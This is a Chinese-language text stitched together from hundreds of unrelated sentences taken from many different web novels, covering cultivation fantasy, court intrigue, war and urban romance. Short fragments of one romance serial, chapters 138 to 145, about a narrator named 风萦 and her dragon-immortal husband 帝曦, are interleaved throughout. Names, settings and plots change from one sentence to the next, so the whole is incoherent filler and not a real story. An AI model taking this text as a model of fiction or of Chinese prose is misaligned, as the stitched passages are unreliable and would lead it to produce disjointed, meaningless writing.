“既然你们都保证了我们不会说什么。”杨修和刘大在村子的信誉还是很好的,不然也不会派他们两人出去。 林沐感叹一句,打消去那边探索的想法,他要先回海湾一趟,而且石柱山那里还驯着翼龙呢,若是因为回去晚了而饿死,林沐就郁闷了。 所以他对待本家,跟对待宗门的事情一样,如果是自己分家这边的事情,他肯定会义不容辞的去处理。 我睁开眼睛一看,果然到了地府了,四周都是浓郁的阴气迷雾,静静翻腾着,温度彻骨的凉。 自己现在哪里敢有丝毫的住留,如果再晚上丝毫的话,好不容易争取到的先机,就从自己的手中溜中了。 叶无双同样以三界浮屠抗衡,满天的血色刀光,即便魔罗之眼也不见得管用了。 实力的暴增让叶磊的自信心极度的膨胀,朝着一个方向就飞了出去。 然而飘渺圣君借这个条件,先就将自己立于了不败之地,这一番用心当真是毒辣无比。 合欢宗的双修秘术,有增进修为突破瓶颈的效果,修仙者们自然是趋之若鹜。 千梦怜眯着眼睛,阴毒的眼神扫向墙头之上那一对风华绝代的二人,嘴角忽然溢出一丝鲜血。 “不知娘娘大驾光临,所谓何事?”管事姑姑一脸讨好之色的迎了上去,朝着花璇玑献媚道。 “可以。”随着马修的表态,五大太空基地的联盟暂时建立起来,接下来地球将迎来浩劫之扣最大的一次动荡。 林宇的这句话,立刻让那个老者嗤笑了起来,想要凭一己之力灭掉超鬼族? 而当许道尔听到这个消息,就仿佛有一道惊雷将他劈得焦头烂额。 第一卷 第138章 风萦,你只是大王的玩物 是,美人泪…… 胸口像堵了一团棉花,憋得人喘不过气。 我心浮气躁地别过头,把视线从那朵蔷薇花上收回来。 帝曦特意摘来送给她的? 我怎么觉得,这话是她故意说来引我不痛快的呢…… 当系统提示音结束,林然大脑里的显示就消失地无影无踪了,无论他怎么呼唤都没有出现。 结果没用几分钟,林然就看到一个大腹便便的地中海跟着全叔有说有笑的走了出来,看样子两人就差称兄道弟了,亲密的很。 而在房间之内的黎明,从口袋当中拿出了一个东西,那是一个极为特别的灵位,上面还有一张黑白照片。 林然看到楚子航的行为知道了他的想法,什么也没说,跟着他一起过去了。 暗月这种强大的存在,一次性帮她突破一个战力等级,和一个种族等级,谈何容易? “不用了,下回我猎些野味再来吃。”讲完事情,聂知青就离开了。后来聂老让关浩云转告宋瑜儿有时间去一趟老宅,宋瑜儿知道应该是关于弹弓的事情。 “有约倒是没有,只是家里肉和菜都已经买好了。”木村悠开口说道。 第二天一早张念祖就带着阿三阿四出发了,他没让雷婷婷跟着,用他的话说,这一趟是“丧权辱国,生气窝心”,能不去就不去。 方子墨称呼陈凡为叔,陆青称呼陈凡为叔爷爷,陆青认为方子墨是在占他便宜。 因此,他很是冒险地将两个部落混合居住,然后劳动在一起,睡觉在一起,行动在一起,双方的交流无时不刻地进行。 桂林之行,朱由榔这才意识到大明的吏治究竟败坏到了何种地步,用千疮百孔来形容都不为过,完全烂透了。 他知道,他的属性至少要提高到3S境界,才能和六级超能者相抗衡,若要完全压制住他们,必须要提高到4S境界。 “那好,等哥几个收拾完了,都到我家去喝酒!”凌天浩答应一声,和凌瑀二人辞别一众猎手,朝着自己的家走去。 朱亨嘉被接二连三的爆炸声,彻底吓怕了,他都不敢想象若是他身下有颗地雷突然爆炸会怎么样,一念至此,他就不寒而栗,再也不催促严天凤进军了,还是安全第一。 声音传达,权杖开始发威,它以人们的敬畏和尊重为源,汲取其中的精神之力,并让其点燃,形成光焰,并沿着所指的方向,向着魔铠移动。 慕容延钊差点没气疯了,曹芸一直隐瞒身份,想不到他竟然是郭威的姐夫……这家伙藏得真够深,认识他这么久竟然没看出来。 听到那声话语,关云飞好像被雷击中一般,他双眉紧皱,狠狠地咽了口唾沫,如临大敌。那声音对他而言似曾相识,像极了神武学院一位传说中的人物,如果真的是他,那么今天自己恐怕无法安然离开了。 不论是十级魔兽亦或者八级九级魔兽,在这骑士圣殿的圣山之中,都是一种底蕴。 顾德知道,这几人就是整个始皇后裔赵氏家族真正的实力派人物,宗人府只是给他们打工的,管理族人事物的机构。这些族中长老,皆是德高望重,品行和修为皆是最佳之人。 借由诸天星辰之力所总和施展出的“时序”之力吗?星辰之力,这还真是一个让人怀念万分的力量。 灵巧的屈膝避开凶猛的斩击,几缕金色的发丝垂落不及从半空被切下。 而陈露阳听说这件事之后,更是时不常的就领着江边渡一郎出去走走。 走回角落,莱昂将多拿的那份干粮放在目光无神的少年面前,随后坐在一旁自顾自的吃了起来。 然而到了这一代,沈家就好像基因突然出了问题,竟生出了沈誉这种浑不吝的,干啥啥不行,怼人第一名。 “好!”在一番慷慨激昂后,男店长迅速帮她打包,宋默默就在旁等待。 “没有了,曾经陪我走过漫长修行路的那些伙伴,早已消失在历史长河之中,一点痕迹都没有了。”褚天钧喟然长叹道。 不过这些也不是什么要紧的事,不管过去是谁,他现在还是通天教祖师,还是仙界当之无愧的第一人,未来还会重回世界第一人的位置。 他本来以为这就已经够倒霉,结果下一个电话更是把他的所有想法全部都打入了万丈深渊。 大嫂子吓了一大跳,倒抽了一口凉气,看看左右,慌忙就想拉着她跑。 “这样的她,是不是更加的漂亮迷人。”烟孤寂的眼眸,直勾勾的看着方子叶所在的位置。 “哼!”婉儿对自己人话还多些,可对陌生人向来惜字如金,特别是对这种不知所谓的人她更是懒得理会。 “你……不正经!”水菡娇嗔地瞪了他一眼,知道他是故意说来逗她开心的,但确实她是心里美滋滋的。 洛琪珊长长地吁了一口气,庆幸自己的病终于是有了好转,想必今后也不会再犯了。 正当五只大地之熊以为祖先显灵之时,又是一道黑色的身影出现在了它们的眼前。 赵飞虎在外面等了一会儿,里面逐渐由安静又变得嘈杂,一个嘶哑的声音开始吼叫起来。 青青俏脸微红,不过她对于鸾凤和鸣之约也只是简单的了解而已,并没有具体的契约之法。 在医院等了一刻钟,令狐冲也来了。却没有进入病房,害怕吵到姐姐休息。 他就在心里暗暗发誓,既然这个老家伙想晚节不保,自己就找个机会成全他。 我听说端王罚了卓湘琴。心里有些高兴。不是出自于报复。而是她真的太狠毒了。太不像样子了。 我知道事已至此。淑妃已经狠了心肠。就把心一横。闭了眼睛。等着那个姑姑的巴掌落下來。 砚君与金舜英面面相觑,两人都是强压着心里的震惊。“家父的事,有机会解决吗?”砚君问。 两人在心里窃喜,原本准备在范斌家里吃饭的,也放弃了这打算,徐茂先知道如果去他们家的话,饭做起来太麻烦。 第一卷 第139章 祖宗,你又捡了个什么玩意儿回来! 的确是个好日子,月亮都快和十六一样圆了。 又过了五六分钟,夜空的云层里隐隐有了雷声。 乌云深处有光忽明忽灭。 看来今天这场雨是要下到夜里了。 杏儿却瞪了她一眼,道:“你现在就不怕你父亲责骂了么?”此话一出,登时有些后悔,怎么偏偏这档口提前她父亲。 一直在旁边没怎么说话的王老板居然也喊价了,这倒不是他们在互相拆台。 房间的灯啪的一声打开,苏寅政看到躺在床上的苏寅乾,走到床边,顿了一下,才推了推自己的哥哥,“哥,醒醒。”。 “有红愁的消息了。有人一个多月前在倭国见过她。”田伊急切地回道。 好了?李辰正待要重新尝试和验证这新加入的白色真气流作用时,有人说话,打断了他。 不过,对付张亮自然不是他们所愿,所以绝对联手将实力强劲的阴后给拦下来。 为什么除了苏寅政都可以,为什么唯独苏寅政不行?不给她任何理由,就要帮她决定人生最重要的事情。可不甘心,又能怎样……她白念又拿什么来反抗穆家一家之主的安排。 李三也不想看着他们谈情说爱,也开着车离开,才不想看着他们自己也可以恋爱,干吗眼看着人家恋爱,自己吃醋呢。 最后,夏浩然熬不住大家的追捧和起哄,就报了射击和格斗两个项目。 怀里的孩子已经醒了,安静的扒着她衣服的前襟,乔清的目光追逐着那一对光彩耀眼的新人直到再也看不到,“走吧。”,她转身往身后的通道走去,没有回头多贪看一眼。 “那个花瓶是你们扔的?”李寻眼神一凝,目光扫过对面几人,最后停留在槐三道脸上,很明显他是头。 包括平日间的外围几环,几乎是每家每户,都收到了来自神殿的一些礼盒。 它,根根柳条,轻盈至极,叶片好似扁舟一样摆动,泛着朦胧的光芒。 现在,面对一个处处与他作对的少年,他也是被挑起来了争斗欲。 “算你明智,给我家少爷跪地道歉。”阿军以为苏阳服软了呢,所以放了萧宏图。 自信,强烈的自信,许如鹏不是普通人,可以这么说,一个已经知道未来十几年大势的人,说他是神也不为过,一个神想在人世间三年创造一个财团,难吗? 但此时,所有人都阴白,神丹即将炼成,都无暇顾及炼化吸收来的精华。 秦天脸上的笑容和从前一样,仿佛之前那些事没有发生过一般,其他人却齐齐看向苏玺。 “以往我虽不知,这苍尘符邸会因这些弟子间的杀戮,凝形而起,但是此次确实是凝形成功,我若不谨慎一二,确实会让我有着阴沟里翻船的危险。 老范点点头,目光重新投向远处,程玺消失有一阵子了,看来已经进入了路边的那栋高楼,希望能带回来好消息。 接着化成一团烈焰冲向天空,于高处分化成数十团烈焰,向天地的各个方向飞去,每团火焰都拥有着灵魂,它们最远的相隔距离可以达到五十里,以天罗地网的形式寻找着铃铛或者风筝的气息。 刚见面时,虽然都是九层基础功法,但他在刘鼎天身上感觉到一股压迫感,现在心里明白了,难怪一开始他并没有答应自己的招揽,一般的散修对这种机会不会拒绝,也就不再强拉刘鼎天加入家族。 第一卷 第140章 你是本尊的,爱上别人就是背叛! 小猫惊叫一声,被吓得拼命挣扎—— 我不明情况地忙从床上爬起来。 顺手开了灯。 见小家伙是被拎在帝曦手里,这才无奈松口气。 不过,目光落在帝曦手背上那几道醒目的血痕上…… 我说完摆手,让侍卫把他们撵出去,席慕凉怕她们再继续胡说八道,让人拿着布条把他们的嘴塞上,把他们直接带走。 林夏眉头微皱,这个副本原主之前下的时候,就没有这么高智慧的精英怪好不好? “不用了,外面的人他们愿意等就让他们等,反正我们这边也是有人,然后谁敢动手,我们就陪他们动手!”林普说道。 她脚一点地,像是一匹脱缰的野马直接朝着那人冲去,然后一个猛虎扑食,用膝盖将人死死的压在地上。 河山县地处九河下梢儿,南部有一块儿地儿与关东洲接壤,这儿的人说话,有些个字眼,也是关东洲那旮哒的人常用的字眼儿。但也有不同,就是一句话说完,那句尾的腔调总是往上扬的。 王娟秀说着,就象好奇一样,走到停在院当间儿的那口棺材前,围着那口棺材兜起了圈子,一边儿兜圈子,一边儿用手在那棺材的四周轻轻地敲击。 “苏源那组和荀琅那组!”众学员异口同声的大吼道,尽是兴奋之色,尤其是东院的人。 奶奶生前就吩咐过以后她过世就葬在爷爷旁边,而且墓地是以前就弄好的,早在爷爷走的那一年就留了另外一边等奶奶百年之后也葬在此。 而他们请来找阴宅的风水先生,大部分都会一些风水皮毛,我恰好懂得风水门的一些常识,所以我和他们的眼光应该是差不多。 “按照凌老板的身份地位还有浙东和彬海的关系,这盟主之位就算要竞争,咱们两人也绝对不会用阴招,是不是?”姚兵压根没有理会众人的反应,依旧淡淡接着问。 “哥哥,要走了。”楚洛一在楚洛唯不耐烦之前,笑眯眯的开口说道。 却在她们还来不及爬起来的时候,整间化妆间被强劲的风扫落霹雳啪啦全部摇曳。 苏以乐闭了闭眼,“如果你做不到,为什么要招惹她呢?”她愤恨着,却绝望得无法挽救。 其实,她要的不多,她只要她在乎的人好好的生活在她的身边,就足够了。 悬浮在空中的逆天阴阳鼎,突然间出现了一道银色的光芒,一个银发少年从药鼎之中走了出来,脚踏着清风悬浮在空中。 “米粒之光,岂能与皓月争辉。”水之圣灵脸上露出了不屑之色,水之力在周围震荡,一阵强大的水波朝着他们轰了过去。 其实宋唯一想多了,总要她给他们洗澡的,这些伤口,迟早都会发现的。 菜都是平日里韩应雪做的家常菜。可能是轩辕嘉儿第一次吃,觉得口味异常的好。 “您……您说什么?”杨思情震惊出声,眼里慢是慌乱,坚定的摇头,“不!我妈妈说,我的爸爸不会喜欢我,我没想过能认我的爸爸!”她说着的时候,眼泪也流了出来,伤心难受。 这时她说什么都是对的,就是要天上的星星月亮老侃都得替她摘下来。 并且,如果发生战斗,那么,他的身份也会暴露,到时引来光明与正义教会的人,那麻烦就更大了。 第一卷 第141章 天仙般的老公和八个追求者 神经病…… 我心烦气躁地加快步伐。 但,刚走几步,我就听见身后扑通一声…… 好像是谁掉黄河里了! 不久,江墨川那死东西的恐慌求救声就断断续续地飘了过来—— “萦、萦儿……风萦!救、救命!萦儿、救我!” 我默默用手指头堵住了双耳。 信他个鬼,他可是蛟仙。 能被黄河淹死吗?! 护宗大阵再一次发出了一声哀鸣,晶颜不朽红颜大怒,周围的温度骤然间下降,连空气似乎都被冰封了一般,但是却依然慢了一步,护宗大阵发出了一声破碎之声,诸天穿穹梭一个瞬间的功夫就来到了晶杭宫的外面。 几个犹如圆盖般的蘑菇顶,死死地吸附在炎火晶壁上,一丝丝火焰光线,流转到它们的躯体之中。 “冷月哥,你有弓不?”望月突然想起自己旁边可是有一个万能口袋的,比起那遥不可及的璃络弓,还不如找冷月要一把,没准还能有更好的。 可是望月根本就没有做足充足的渡劫手段,三个等级的天劫,即使没有增加威力,望月也很难度过,如今这一幕就是最好的证明。 他围棋经验非常丰富,下棋也十分的老道,是一位七段棋士,名叫邓宇洪。 王大虎的脸色越发的惨白,不仅仅是他,这里的所有人都已经猜到到底发生了什么。 在这个战场阵列线无比狭窄的战场,他们不能把身后的部队展开,就比华夏军少了很多兵力,华夏军通过两个方阵轮换,后退,拼着自己的枪射程比敌人远,争取到了两次的三段射机会,给敌人造成了五百多人的伤害。 狄仁杰更希望是李东升事先布置好了这一切,要是那名学生自己做的,那就是太可怕。 显然王老板已经答应了周前卒的请求,并且将原石直接卖给了周前卒。 使得向来沉寂、低调的武者世界,逐渐沸腾了起来,而关于这些强者的诸多传说,也慢慢被人们所知晓。 “你……你给我下了傀儡蛊虫?然后……然后来威胁我爷爷和我哥哥?”程云怯生生地问道。 而在那剑灵的身下,大地已然被滚滚的热浪,彻底化作了一个巨大的熔池,无尽的岩浆在其中翻滚着。 危机当前,紫烨那灿若星辰的紫眸之中,也爆射出两道骇人的光芒。她的灵魂力也达到了四十阶中期,并且她在灵魂力道路上的锤炼比之龙昊天要更加深厚一些。故而,她绝非任人宰割的羔羊。 而经叶离这么一气,洛梓凡反倒是闭上嘴,从新躺回去,扯过被子蒙上了头,就不再去理她了。 “主上被打入死牢后,左营中的事务就转手到了桓温的手上。而弟兄们也从左营里顺利地撤出了。”叶祁回道。 如果觉得对眼了,可能会琢磨着能不能搭个讪交个朋友,甚至约个泡。 “这样应该就差不多了。”周婶拿过一把剪子,将上边多余的线头和布料都裁了下来。 曹格电话里头简单说了苏芳晕倒,杰克有些意外,楼下楼上的气氛却格外的安静。 “收尸?哼!”龙昊天抬起了头,他的双眼依旧目不能视,可此时此刻,那双瞳仁之中,竟然闪烁着耀眼的光芒,仿佛能将无尽的黑夜刺穿,令人无所遁形一般。 而且所有人的知道他的身份之后,绝也不会再像之前,柳家老祖和张柳所说的一样,只要知道他锁庇护的家族是哪个家族,等战争胜利之后,他们绝对会将这个家族灭族,只有这样才能一解他们的心头之恨。 秦阳真是有些郁闷,心情很好的出来买早餐,竟然碰到了这么一条疯狗。 鲁管镇长的头顶早就全秃了,油光锃亮。但他一直很不甘心变成秃子,于是就将左右两边稀稀拉拉的头发留得很长,拉到中间盖着头顶,将头顶的亮光遮掉了三四成,这让他对于自己的“外表魅力”增加了很多信心。 他拳头微微捏了捏,看着风芒与其硬碰,心知他完全落了下风,对于这一点,他没有太大的意外。 第一名媛月无影,仙气盈盈,见到她蒙脸身段的男人,都忘了自己是在梦中还是现实中。 随后半城又想是想到了什么,然后深深的看了一眼叶勇,难道主人已经学会了定灵术了么?可是圣祖传承不是需要当灵智打开的时候才能够被圣祖传承下来么?而且正常情况下,打开灵智必须要达到高级灵子么? “放心吧,我会活着出来的。”孔洞已经完全封锁,凌云霄缓缓转身,低声自言自语道,当他回过头时,发现数十头浑身满是触手的邪魔以及三头长着六只镰刀手臂的邪魔这时候已经是来到了凌云霄的面前,将其团团围住。 “你不出声我差点忘了你才是今天的真正对手。”叶勇也听见了加藤次郎的叫声,才发现自己竟然忘了正主。 陆靖又念出“亮枪诀”,金矛便出现在了陆靖的左掌内,前段三尺还带着红黄色的液体。陆靖心想:这应该是烈焰孔雀的血液吧。 “两个原因。其一:古修士认为,养元丹中加生命灵也性价比不高。第二:生命灵液稀有。”杨晨分析道。 1942年初,荣靳之乘坐一种船头画着红色圆圈,俗称“大眼鸡”的三轭帆船从水路去往广州,上岸之前被驻守广州的日军以“检疫”为名扣押在了珠江边的南石头惩戒所。 肖恒在空荡荡的房间里,一遍又一遍的喊着孟静仪的名字,然而却再也得不到回应,这一次那个可爱单纯的丫头,真的永远离开了他的世界。 道理是这样的,感情上却是不好说的,昨日事昨日毕终究只是说说,所以,对于苏舟而言,星期日这一天,他所忧虑的点,一共有三个。 穆逸寒在听了姬生月的话后,并没有再说其他什么,一片黑沉的眸中,也让人难以揣测他此刻心中的所想。 “这位师兄,你也是过来参加选拔资格赛的??”秦峰的旁边,一位青色长袍的男子微微一笑道。 吕念卉的心一下子凉了一大截,她原本有些神采的眼神再一次的黯淡了下来。 “好,那就这么定了,如果遇见危险了,要第一时间告诉我们,到时候我们在岛中央汇合吧!”我说道。 第一卷 第142章 她的烂桃花就是你 手上一哆嗦,板蓝根从我手里掉了下去。 我极度心虚地闷咳两声,尴尬地急着亡羊补牢: “当、当然,我虽然追求者众多,但但但、但我只爱我那天仙老公……” 这种时候我就算昧良心也得把帝曦这个祖宗给哄好了。 天赋:心灵五点五境,心灵罹难者天赋,诅咒之体,诅咒五点五境,诅咒罹难天赋。火系灵种。 他们互看一眼,而后极有默契的在洞里四处寻找可以打击鬣狗的东西,找不到的就拿着大石块在洞壁上砸,总能造出能用的石头来。 戏曲一唱完,墨镜一摘,瞬间就变成了邻家暖男大哥哥,这种强烈的反差感所带来的吸引力,让人的视线都无法从他身上移开。 言罢,尤三姐再不犹豫,将那雄剑一把抛向柳湘莲,雌剑却猛地往自己洁白的玉颈上一横。 一来,史泓是老太太的亲侄孙儿,这事出来,老太太脸上也没光。谁知道老太太恼了,会不会连说破此事的人也一起恨上? 霍尧静静地看着她,她头上戴了帽笠,他看不见她的脸,只能看到她浅白淡粉的襦裙,一双白色绣云鞋。 那纯净的,无垢的嗓音,就如天使的咏叹,让人怦然心动的美好。 贾宝玉心思纯良,肚子里没有那么多的弯弯绕绕,被赵姨娘这一哭闹吵得心烦,正自不知所措时,王夫人和正在她屋里回事儿的王熙凤,挑开帘子进来了。 足以左右一区三个月的物价,如果运用好了手里的金币,甚至更长时间。 至于耗费十二万块灵石部署一座山门护法大阵,这件事就无奈了,因为当末法时代一来,这座山门护法大阵必然就成了摆设。 “晓吟妹子,我”姬然望着晓吟妹子那疲惫而又憔悴的俏脸,感动的泪水模糊了视线,说话的声音都哽咽了。 周子休的话让克林的下巴差点掉下来,这特么是劝架么?这是特么火上浇油,是看热闹不嫌事儿大的吧? “先看看我现在拥有多少悟道值!”李汉突然想起之前在何道奇仙府外,洗劫的悟道值还未查看,好奇之下,他查看了一下自身的信息。 姬瑶花作为六扇门之首,别的人可以无视他,但是她却不得不出来答话。 “诗音她这几天到北山市去了。不过却不是去旅游的。而是被调任到了北山市电视台,手续都已经办好了。”电话那头叶紫琳连忙开口道。 裴焕就算把海天城里的规矩改了,但是,对徐铭又有什么好处呢?——所以,徐铭是真的懒得管。 他刚走出教室,突然听到身后传来一个熟悉而又令他心痛的声音。 突然之间孙悟空又再次感到那莫名的烦躁,悲伤,甚至愤怒,这才蓦然想起,曾有那么一刻,自己曾清晰的感受到石岳心中的痛,谁敢伤害老孙兄弟?莫非竟与此事有关? 意念一动,一颗九转金丹被他丢入首相口中,霎那间,首相的实力开始暴涨,转眼间,首相的实力就从元婴期突破到出窍期直至成为一阶天仙的时候,首相狂暴的气势才逐渐内敛。 “王校长!”李汉来到用餐的地方,推开包间房门一看,王朝阳和三个不认识的中年人,都坐在包间里,看样子,好像已经等了一段时间。 “完你X,蓝染你给劳资滚出来!”坐在沙发上的空蝼突然大吼一声,将身旁正在说笑的众人吓了一跳。 “什么事?”蓝星儿失踪的事已经让他头痛不已了,这会不知道又有什么事惹他清静。 “胡说,胡说,你分明是得了邱青霜的好处,故意反咬我一口,皇上,您别听她的,她全是胡说!”莫氏神色越发慌张,却仍旧不肯承认当日陷害青霜一事。 萨丁尼亚展示的实力不仅仅是这么点,他们不想惹事,但不是没有惹事的能力。 哈立德望着窗外景‘色’,白‘色’和蓝‘色’相间的围栏往四周蔓延,周围都是高耸绿树,汽车前进时,路旁有一块很明显的提示牌:止步!‘私’人区域。表明这条路以及前方的任何一切都是属于‘私’人拥有的。 此等说法,青霜的确听过,当时只当闲聊一笑了知罢了。谁能料到,今日此事竟然会落到自己身上。 新月身穿蓝色的的骑装,在白马上是那么的耀眼。上了马如鱼儿到了水里一般,游刃有余,横躺在马背上腾空翻下去又跳回了马背上,永琰和周围的士兵赞赏的鼓掌。 随着灵子的光芒散去,枫叶闲二身上的死霸装化作了纯粹的白色,头上多出一个没有下半部分的骷髅面具,奇特的花纹则环绕在面具四周,手中一根白色齐眉长棍泛着如骨如玉是幽冷光芒。 四望真天矣。扑双眸,九重之上,混茫云气。天盖左旋如转毂,十万明星如粒。那辨得、何星为地。河汉向西流万古,算人生一霎等蝼蚁。空费我,百年泪。 兰贵人一身艳丽的衣裳衬托出了晴贵人的“清水出芙蓉”,如果兰贵人是那芍药花,那晴贵人便是那默默盛开的瑞香花,清香不俗。 叶秋将这些粮食回收完毕后,叶秋的强化点已经达到了九百多万点,对宝葫芦进行第三次强化,绰绰有余。 终于,几十秒钟后,叶秋收回了藤蔓,那六王,如今已经变成了六具洁白的骷髅,全身上下已经没有了丝毫的血肉,血肉、内脏、大脑等等的东西,全部都被那藤蔓吞噬掉了,看上去相当的恐怖。 没几日就到了重阳。今年却是范府的两大支柱都不在府里,各房的节气也过得没精打采。 傲金龙三人见两人及时赶到,他们也是高兴的凑上來了,和龙笑风热烈的聊起了天。 直等到天色大亮,官府派人封了数条街市,街上禁严,仍未等来剑穗的消息。 如果真是爷爷出了事,爷爷比杜管家老了许多,能不能度过危险,则要另说了。 这火焰巨树也不知道生存了多久,比起之前叶秋所遇到的极限半步道果境的神龟还要恐怖,毕竟这火焰巨树的根系,不可能就这么现在十六条的。 而在魔罗这里,他在这攻击之下,他的全身这也是在不停的颤抖这的。 第一卷 第143章 尸体上有他们想要的东西 从杨大哥家出来后,我一个人漫不经心的走在前面,他跟在我身后,这会子出奇的安静。 一路上我和他都没说话,直至快到家门口了,他才拉住我的手,霸道地将我拽进怀里,突然抱住。 “阿萦。” 他放轻嗓音,温柔试探:“没有什么想问本王的么?” 不过,这些似乎都已经被刻意隐藏了般,从来都没有人知道,以至于多少年过去之后,太祖徐灼,便就变得更加神秘了起来。 她们也不会去道观里,只在山上找了块平坦草地,铺了油布席地而坐,放了瓜果之类的食物,和踏青游玩差不多,倒也不至于干扰道士或是游客。只是在附近安排了值守健仆,把这块地方控制起来,不让人靠近。 呻吟声是从港口建筑中传出来的,一只体型畸变的人类或者人鱼破开了窗户从其中滑落了出来。 这时扣儿忽然将自己随身带的包裹打开,将里面的画拿出来给宋氏道:“这是范大老爷画的……”。 竖日,杨凡又戴上了那幅人皮面具,开始和黄丐、令狐宇在炼城大街上行走起来。正当杨凡三人准备以买丹药为借口想趁机混进火焰门去时,街道上传出来的一道声音立即改变了杨凡的想法。 “其实把他一枪打下马之后他还在动弹,我记起君上说强者的生命力顽强,就对着他的脖子补了一枪。”斯宾塞不好意思地说道。 原本以为只要拿到了配方,就能够进行大规模的生产出果子酒来,可以供应部落中的族人长期饮用,改善他们的身体,化解掉千百年来遗传下来的怪疾。现在看来,只是自己的一厢情愿了。 再比如说她的发卡上附着法术,简直就像是一层无形的风镜那样,能够抵挡包括砂石、飞虫等多种物质飞入眼睛造成干扰。 大厅之中灵气凝结,平空就多了六只妖兽,分为金狻猊、奎木狼、白老虎、火朱雀、黑玄蛇、蓝貔貅,诸兽作凶态毕露,俱往火鸦扑去。 一切真相大白,安王心里不禁感慨万千,上一世被系统操控了一辈子。 “好了,现在该我来跟你们算算账了。”她的眼神突然变得凶狠起来。 毕竟懂事,优雅,知性,成熟,这都是优点,尤其越成功越是明显。 说了之后,原本还只是有些怀疑的江瑶,现在就真的不想签约了。 可是她拿出手机的时候,才想起来现在两人的处境,满腔热血仿佛突然被冷水浇灭。 我万分庆幸,今天晚上听到了他们的对话,否则我会一直被蒙在鼓里,最后连怎么死的都不知道。 白天在三中上课,晚上则去了曹雪萍给介绍的几个老师那里进行高强度的补课。 看着成大器坐回因忒弥尔离开而空出来的老板椅,丽莎心中有些酸楚。 看他不狠狠的收拾她一顿,这话说出去他还能活?他可还不想死呢?既然如此那就别怪他了。 直到今年年初,她才知道,原来苏暮商,是苏司令的儿子!同时也知道了,他在黎洲岛,她申调了很多次,但她团长都不放人。 换做平时他可能会因为好奇心尝试一下,看看后果怎么样,但今天不行,今晚情况特殊,容不得半点差池。 等刘凡回到桌子上,一众仆役已经开始布菜,一道道菜肴流水价似的送了上来。 第一卷 第144章 都想抢龙鳞! 尸体上有风家人想要的东西…… 风家人,想要什么? 难道是…… 我赶紧问小银鱼:“龙鳞?” 小银鱼故作高深的傲娇甩尾巴:“先卖个关子,等下给你一个惊喜!” 我:“……” 不过,如果真是龙鳞的话。 不过,今天凯瑞他们六个高兴,因此也不在意这些,六人买了许多的东西,大吃特吃起來,着实花了不少圣晶,看的矿上的其他人惊疑不已,以为他们六个得了失心疯似地。 一身剪裁合体的黑色OL套装,将她完美的身材比例勾勒出玲珑浮凸的曲线,充满古曲气息的俏脸白皙细腻,如果把美若天仙这个词用她身上,相信那些走在路上因为回头看她而大叫‘救命’的男人不会有任何意见。 突然,那名八级圣者收回原本自己手中的那件下品圣器,从新拿出了一件武器。 那几个鬼子也沒打蒙了,一会儿前面响枪,一会儿背后中弹,加上尉官也被打死了,剩下六七个鬼子还不知道是打前面还是打后面,沒想到前面的冲了过來。 终于,马特他们来到峡谷的最深处,前面的路,被一个山洞挡住了。 九尾妖狐素衣赤足飘然立于树巅,素白的裙裾在高空的风中飘抖,像大片大片的流云一样。 “那主人,您带我们去吧!我们可以给予你帮助,你去实在是太危险了”法兰西斯道。 “还敢反抗?”吴明大吼,使出了无比恶毒的‘面目全非脚’,狠狠蹂躏着几个七荤八素的劫匪。 但那却也终于激起了北海凶徒崇侯虎隐藏在四大诸侯光辉下的戾气!崇侯虎身上紫气每黑一层,出手劲力便强数筹。待到黑沉如风暴将至,人身已捉摸不定时,出手便有通天之力。 他从来没有说过,亦笙却因着父亲和纪家的关系,多少能了解他身上的担子有多沉,所以即便心里因为他不能时常陪自己而遗憾得要命,却也并不胡搅蛮缠。 杜九爷也是皱着眉头,对于泰语,他确实也不懂,所以也并没有阻止白狼。 “你看他的衣服下摆,特别长,和寨里其他人的打扮不太一样,而且你看他走路,特别的硬,衣服下面明显藏着枪。 方圆十丈的天地精气瞬间便被一股不可抗拒的力量抽扯得一干二净,与此同时,但见金芒闪动,一只丈许方圆的金色大手瞬间在空中凝聚而成,浩荡出恐怖的能量波动,向着埃布尔当头抓下。 第二天的情况依旧如此,第三天有人被抬了回来,那人满脸的懊丧,伤到是不重,好像是扭了腰,有人替补上去,情况大致如此,一天一天就这么过去了,军营里已经‘谣言’四起,说什么的都有。 像李栋这种情形怎能逃过这些商人的眼睛,那些家教非常好的公子哥,一面非常的喜欢这种异域风情,一面又对这种人口买卖十分的不齿。 “那个王队长,李指挥使大人的药膏没上完,你晚上辛苦一趟,去他营房内单独给他上药膏吧。”李栋不怀好意的调侃着王云霞。 昨天就是他亲自潜入彭府偷听彭继祖和尤勇谈话的,在听到那个惊人的消息后,他却没有直接回龙腾帮复命,因为他有私心。 而中华军的骑兵装配的火枪,是一长一短两只,短管的是前装枪,而长管是最新式的后膛火枪,在战斗之前,都填充好了弹药。 那个被称作狗叔的三十多岁的男子,听到了徐淼的声音之后,惊讶的抬起头望向了徐淼,接着脸上就露出了一连惊诧之色。 薛平的心在胸膛里,擂鼓般狂跳,老天呀,难道这就是老神棍!呸!老神仙说的时来运转,否极泰来? 退化期,对修士的影响不是没有,但相比起普通人来说,这种影响非常有限。 孟弈抿了抿嘴角,眼睛渐渐亮起,看向差点窒息而亡的孽畜们,该挑选个傀儡倭王用用了。 又从另外一个空间钮中,拿出一盆已经挂了十几颗熟透的草莓出来,随便摘一颗吃了起来。 “谢先生?你怎么也在?”姜云枭在看到谢青煋的瞬间收敛了眼底的冷意。 另外李二还当朝宣布,元日之后,改元贞观,自此正式拉开了贞观盛世的帷幕。 一时间出了林淼,植物系这边的氛围十分融洽,都相互认识,新到的同学也纷纷加入。 说到这,陈虚感觉周身的黑暗海一阵涌动,庞大的黑暗之力涌入体内。 他用屁股想都知道刚刚那一幕有人暗中帮助,面具男不可能无缘无故的僵在原地。 “无妨”方玉拿出来箭头,看了看上面的记号和制作的规格,已经知道要杀自己的人是谁了,只是这一次没有抓住他。 一个帝王落幕,另一个帝王拔地而起,有人为了利,掘了李夫人的墓穴。才使得这画重见天日。 说他是贵族,更不如说他是一位战士,不,一位凶恶的强盗更为恰当一些。 樱娘说着,见莫颜兮脸色不太好,正在思索着什么,随即不再说话了。 莫颜兮双手背后,一双波澜不惊的眸子里染上了一抹怒气,连忙出声制止唐明桑的出格举动。 不日,在朝堂之上,陛下亲自下旨,将永安王手里的所有兵符通通要回,并且免去他的一切职位。除此之外,还将永安王和莫颜兮的婚事,定在了五月中旬。宴请天下人士,算得上是无比隆重了。 第一卷 第145章 送她一个大礼 我神使鬼差的熟练掐诀,心中默念那串咒语。 下一秒,鳞片骤然大放金光,将束缚它的那缕力量霸道斩断,连同藏在水里蓄谋占有它的那些人也被它一并震飞了出去…… 鳞片缓缓回到了我手中,落进了我的手心。 